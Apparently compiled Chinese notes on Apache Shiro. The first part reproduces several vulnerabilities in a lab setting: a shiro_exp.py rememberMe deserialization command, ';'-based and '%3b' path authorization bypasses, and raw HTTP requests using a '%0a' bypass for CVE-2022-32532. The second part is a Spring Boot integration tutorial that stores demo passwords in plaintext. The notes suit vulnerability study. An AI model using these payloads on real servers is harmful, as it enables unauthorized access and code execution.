python shiro_exp.py http://47.95.201.15:8080/account/ k+3DDsh6f+macxMUtS2QvAS7Fm3CyMpFB6wz4apvrieZhTIMaLey74RYMgywpM2fFncf3y7cRTU6F73MIJ5ygJ0QqzYlvX2xcmOUCe+uLiH66B0aAcs7vY6Ipimbo8tTX3vbReu0vovnmDVK4fT+lfmhZxtgFp8imCapqIb6KYr3NtmQTfORGhFZ+I2vzMN2geaYRwFkTbzfuo8vHgmzHJaR1jTn2sLVaxiIuqMYqsjiCVvN7q64wpde0JGQs1eowMKJ5VSlnUnp1NGficIFYdTETxDjJJHrmKNSxdHPCstWfQD3N6jEK1CT3vE+UxxVrtSO2XoBEHYrSTdK1bxVtunwVu5+F7lfwex3b2qY/F6EzCUjzKQN13AmqhrnyesRx+AYNzVFCZ49oYfj/dtz1XKbGr9anMuw6dq/avJdMfHzlEUThYFgZ2yRSUBAlOGliwwV+GRuhjRocka3wAgjxyG80VdJiovtXhoEhvd3peYC6TzPi2hPVXppVq3P+F8s payload.class
生成的payload.class内容越多时间就越长,所以尽量选择较短的命令执行来复现漏洞即可。最终会生成如下rememberMe cookies
我们将跑出来的Cookie添加到数据包中进行发送,就可以 发现在靶机中成果创建了对应的文件。
到这未知其实经常遇到的Shrio漏洞已经表述的差不多了,下面几个是shiro存在但是在现实中利用难度大或者是比较少的洞,可以简单了解一下
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。
URL请求过程:
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}
直接请求管理页面/admin/,无法访问,将会被重定向到登录页面
构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:
CVE-2020-11989的修复补丁存在缺陷,在1.5.3及其之前的版本,由于shiro在处理url时与spring仍然存在差异,依然存在身份校验绕过漏洞由于处理身份验证请求时出错,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。
该漏洞产生的原因主要是shiro层在处理url上和spring上存在差异,主要是在处理;上的问题,通过构造含有;符号的url即可绕过shiro在权限上的处理,而spring不负责权限管控,所以最终会导致权限绕过。ant风格的路径仅出现一个*时才能成功,而**无法绕过,*:匹配一个或者多个任意的字符。
**:匹配零个或者多个目录。
/admin/admin
提示让我们登录
/admin/%3badmin
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。
1.9.1 之前的 Apache Shiro,RegexRequestMatcher 可能被错误配置为在某些 servlet 容器上被绕过。在正则表达式中使用带有.的 RegExPatternMatcher 的应用程序可能容易受到授权绕过。
2022年6月29日,Apache 官方披露 Apache Shiro 权限绕过漏洞(CVE-2022-32532),当 Apache Shiro 中使用 RegexRequestMatcher 进行权限配置,且正则表达式中携带“.”时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证。
Apache Shiro < 1.9.1
访问
抓包修改
GET /permit/any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close
需要携带token字段
改包绕过
GET /permit/%0any HTTP/1.1
Host: 123.58.224.8:36930
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_lang=zh-cn
Connection: close
from https://www.freebuf.com/articles/web/367363.html
hiro 概述
Apache Shiro 是一款 Java 安全框架,不依赖任何容器,可以运行在 Java SE 和 Java EE 项目中,它的主要作用是用来做身份认证、授权、会话管理和加密等操作。
什么意思?大白话就是判断用户是否登录、是否拥有某些操作的权限等。
其实不用 Shiro,我们使用原生 Java API 就可以完成安全管理,很简单,使用过滤器去拦截用户的各种请求,然后判断是否登录、是否拥有某些权限即可。
我们完全可以完成这些操作,但是对于一个大型的系统,分散去管理编写这些过滤器的逻辑会比较麻烦,不成体系,所以需要使用结构化、工程化、系统化的解决方案。
任何一个业务逻辑,一旦上升到企业级的体量,就必须考虑使用系统化的解决方案,也就是框架,否则后期的开发成本是相当巨大的,Shiro 就是来解决安全管理的系统化框架。
Shiro 核心组件
1、UsernamePasswordToken,Shiro 用来封装用户登录信息,使用用户的登录信息创建令牌 Token,登录的过程即 Shiro 验证令牌是否具有合法身份以及相关权限。
2、 SecurityManager,Shiro 的核心部分,负责安全认证与授权。
3、Subject,Shiro 的一个抽象概念,包含了用户信息。
4、Realm,开发者自定义的模块,根据项目的需求,验证和授权的逻辑在 Realm 中实现。
5、AuthenticationInfo,用户的角色信息集合,认证时使用。
6、AuthorizationInfo,角色的权限信息集合,授权时使用。
7、DefaultWebSecurityManager,安全管理器,开发者自定义的 Realm 需要注入到 DefaultWebSecurityManager 进行管理才能生效。
8、ShiroFilterFactoryBean,过滤器工厂,Shiro 的基本运行机制是开发者定制规则,Shiro 去执行,具体的执行操作就是由 ShiroFilterFactoryBean 创建一个个 Filter 对象来完成。
Shiro 的运行机制如下图所示。
Shiro 整合 Spring Boot
1、我们使用 Spring Boot 集成 Shiro 的方式快速构建工程,创建 Spring Boot Initializr 工程,使用最新版的 Spring Boot 2.3.0。
2、选择需要添加的 dependencies 依赖。
3、我们会发现 Spring Boot 官方的 Security 依赖库中并没有 Shiro,而是其他的框架。
也就是说 Spring Boot 官方并没有纳入 Shiro,怎么解决?很简单,官方不提供支持,我们就自己手动在 pom.xml 中添加依赖,如下所示,我们全部选择最新版。
<!-- Shiro整合Spring -->org.apache.shiroshiro-spring1.5.3
搞定之后,工程的 Maven 依赖如下所示。
自定义 Shiro 过滤器
对 URL 进行拦截,没有认证的需要认证,认证成功的则可以根据需要判断角色及权限。
这个过滤器需要开发者自定义,然后去指定认证和授权的逻辑,继承抽象类 AuthorizingRealm,实现两个抽象方法分别完成授权和认证的逻辑。
首先来完成认证的逻辑,需要连接数据库,这里我们使用 MyBatis Plus 来完成,pom.xml 中添加 MyBatis Plus 依赖,如下所示。
mysqlmysql-connector-java8.0.20com.baomidoumybatis-plus-boot-starter3.3.1.tmp
创建数据表 account,添加两条记录,SQL 如下所。
CREATETABLE`account`(`id`intNOTNULLAUTO_INCREMENT,`username`varchar(20)DEFAULTNULL,`password`varchar(20)DEFAULTNULL,`perms`varchar(20)DEFAULTNULL,`role`varchar(20)DEFAULTNULL,PRIMARYKEY(`id`))ENGINE=InnoDBAUTO_INCREMENT=4DEFAULTCHARSET=utf8;LOCKTABLES`account`WRITE;INSERTINTO`account`VALUES(1,'zs','123123','',''),(2,'ls','123123','manage',''),(3,'ww','123123','manage','administrator');UNLOCKTABLES;
创建实体类 Account。
@DatapublicclassAccount {privateInteger id;privateStringusername;privateStringpassword;privateStringperms;privateStringrole;}
创建 AccountMapper 接口。
publicinterfaceAccountMapperextendsBaseMapper{}
创建 application.yml。
spring:datasource:url:jdbc:mysql://localhost:3306/testusername:rootpassword:rootdriver-class-name:com.mysql.cj.jdbc.Drivermybatis-plus:configuration:log-impl:org.apache.ibatis.logging.stdout.StdOutImpl
启动类添加 @MapperScan 注解扫描 Mapper 接口。
@SpringBootApplication@MapperScan("com.southwind.springbootshirodemo.mapper")publicclassSpringbootshirodemoApplication{publicstaticvoidmain(String[] args){ SpringApplication.run(SpringbootshirodemoApplication.class, args); }}
首先通过单元测试调试 AccoutMapper 接口。
@SpringBootTestclassAccountMapperTest{@AutowiredprivateAccountMapper accountMapper;@Testvoidtest(){QueryWrapper wrapper =newQueryWrapper();wrapper.eq("username","user"); Account account = accountMapper.selectOne(wrapper); System.out.println(account); }}
返回上图表示调试成功,MyBatis Plus 调试成功,接下来完成 Service 层代码编写。
publicinterfaceAccountService{publicAccountfindByUsername(String username);}
publicclassAccountServiceImplimplementsAccountService{@AutowiredprivateAccountMapper accountMapper;@OverridepublicAccountfindByUsername(String username){QueryWrapper wrapper =newQueryWrapper();wrapper.eq("username",username);returnaccountMapper.selectOne(wrapper); }}
回到 Shiro 完成用户认证,在 MyRealm 中完成代码的编写。
publicclassMyRealmextendsAuthorizingRealm{@AutowiredprivateAccountService accountService;/** * 授权*@paramprincipalCollection*@return */@OverrideprotectedAuthorizationInfodoGetAuthorizationInfo(PrincipalCollection principalCollection){returnnull; }/** * 认证*@paramauthenticationToken*@return*@throwsAuthenticationException */@OverrideprotectedAuthenticationInfodoGetAuthenticationInfo(AuthenticationToken authenticationToken)throwsAuthenticationException{ UsernamePasswordToken token = (UsernamePasswordToken) authenticationToken; Account account = accountService.findByUsername(token.getUsername());if(account !=null){returnnewSimpleAuthenticationInfo(account,account.getPassword(),getName()); }returnnull; }}
客户端传来的 username 和 password 会自动封装到 token,先根据 username 进行查询,如果返回 null,则表示用户名错误,直接 return null 即可,Shiro 会自动抛出 UnknownAccountException 异常。
如果返回不为 null,则表示用户名正确,再验证密码,直接返回 SimpleAuthenticationInfo 对象即可,如果密码验证成功,Shiro 认证通过,否则返回 IncorrectCredentialsException 异常。
自定义过滤器创建完成之后,需要进行配置才能生效,在 Spring Boot 应用中,不需要任何的 XML 配置,直接通过配置类进行装配,代码如下所示。
@ConfigurationpublicclassShiroConfig{@BeanpublicShiroFilterFactoryBean filterFactoryBean(@Qualifier("manager")DefaultWebSecurityManager manager){ ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); factoryBean.setSecurityManager(manager);returnfactoryBean; }@BeanpublicDefaultWebSecurityManager manager(@Qualifier("myRealm")MyRealm myRealm){ DefaultWebSecurityManager manager = new DefaultWebSecurityManager(); manager.setRealm(myRealm);returnmanager; }@BeanpublicMyRealm myRealm(){returnnew MyRealm(); }}
这个配置类中一共自动装配了 3 个 bean 实例,第一个是自定义过滤器 MyRealm,我们的业务逻辑全部定义在这个 bean 中。
然后需要创建第二个 bean 示例 DefaultWebSecurityManager,并且将 MyRealm 注入到 DefaultWebSecurityManager bean 中,完成注册。
最终需要装配第三个 bean ShiroFilterFactoryBean,这是 Shiro 自带的一个 Filter 工厂实例,所有的认证和授权判断都是由这个 bean 生成的 Filter 对象来完成的,这就是 Shiro 框架的运行机制,开发者只需要定义规则,进行配置,具体的执行者全部由 Shiro 自己创建的 Filter 来完成。
所以我们需要给 ShiroFilterFactoryBean 实例注入认证及授权规则,如下所示。
认证过滤器:
anon:无需认证即可访问,游客身份。
authc:必须认证(登录)才能访问。
authcBasic:需要通过 httpBasic 认证。
user:不一定已通过认证,只要是曾经被 Shiro 记住过登录状态的用户就可以正常发起请求,比如 rememberMe。
授权过滤器:
perms:必须拥有对某个资源的访问权限(授权)才能访问。
role:必须拥有某个角色权限才能访问。
port:请求的端口必须为指定值才可以访问。
rest:请求必须是 RESTful,method 为 post、get、delete、put。
ssl:必须是安全的 URL 请求,协议为 HTTPS。
比如,我们创建三个页面,main.html、manage.html、administrator.html,要求如下:
1、必须是登录状态才可以访问 main.html。
2、用户必须拥有 manage 授权才可以访问 manage.html。
3、用户必须拥有 administrator 角色才能访问 administrator.html。
代码如下所示。
@BeanpublicShiroFilterFactoryBeanfilterFactoryBean(@Qualifier("manager") DefaultWebSecurityManager manager){ShiroFilterFactoryBean factoryBean =newShiroFilterFactoryBean(); factoryBean.setSecurityManager(manager);Mapmap=newHashMap<>();map.put("/main","authc");map.put("/manage","perms[manage]");map.put("/administrator","roles[administrator]");factoryBean.setFilterChainDefinitionMap(map);//设置登录页面factoryBean.setLoginUrl("/login");//未授权页面factoryBean.setUnauthorizedUrl("/unauth");returnfactoryBean;}
Controller 如下所示。
@ControllerpublicclassMyController{@GetMapping("/{url}")publicString redirect(@PathVariable("url")String url){returnurl; }@PostMapping("/login")publicString login(String username, String password, Model model){ Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken(username,password);try{ subject.login(token);return"index";}catch(UnknownAccountException e) {model.addAttribute("msg","用户名错误");return"login";}catch(IncorrectCredentialsException e) {model.addAttribute("msg","密码错误");return"login"; } }@RequestMapping("/unauth")@ResponseBodypublicString unauth(){return"未授权没有访问权限"; }}
现在只需要登录就可以访问 main.html,但是无法访问 manage.html,这是因为没有授权,接下来我们完成授权操作,回到 MyRealm,代码如下所示。
@OverrideprotectedAuthorizationInfodoGetAuthorizationInfo(PrincipalCollection principalCollection){//获取当前登录对象 Subject subject = SecurityUtils.getSubject(); Account account = (Account) subject.getPrincipal();//设置角色Set roles =newHashSet<>();roles.add(account.getRole());SimpleAuthorizationInfo info =newSimpleAuthorizationInfo(roles);//设置权限 info.addStringPermission(account.getPerms());returninfo;}
数据库数据如下所示。
zs 没有权限和角色,所以登录之后只能访问 main.html。
ls 拥有 manage 权限,没有角色,所以登录之后可以访问 main.html、manage.html。
ww 拥有 manage 权限和 administrator 角色,所以登录之后可以访问 main.html、manage.html、administrator.html。
Shiro 整合 Thymeleaf
1、pom.xml 中引入依赖。
<!-- Shiro整合Thymeleaf -->com.github.theborakompanionithymeleaf-extras-shiro2.0.0
2、配置类添加 ShiroDialect。
@BeanpublicShiroDialectshiroDialect(){returnnewShiroDialect();}
3、Controller 登录成功后将用户信息存入 session,同时添加退出操作。
@PostMapping("/login")publicString login(String username, String password, Model model){ Subject subject = SecurityUtils.getSubject(); UsernamePasswordToken token = new UsernamePasswordToken(username,password);try{ subject.login(token); Account account = (Account) subject.getPrincipal();subject.getSession().setAttribute("account",account);return"index";}catch(UnknownAccountException e) {model.addAttribute("msg","用户名错误");return"login";}catch(IncorrectCredentialsException e) {model.addAttribute("msg","密码错误");return"login"; }}@GetMapping("/logout")publicString logout(){ Subject subject = SecurityUtils.getSubject(); subject.logout();return"login";}
4、index.html。
*请认真填写需求信息,我们会在24小时内与您取得联系。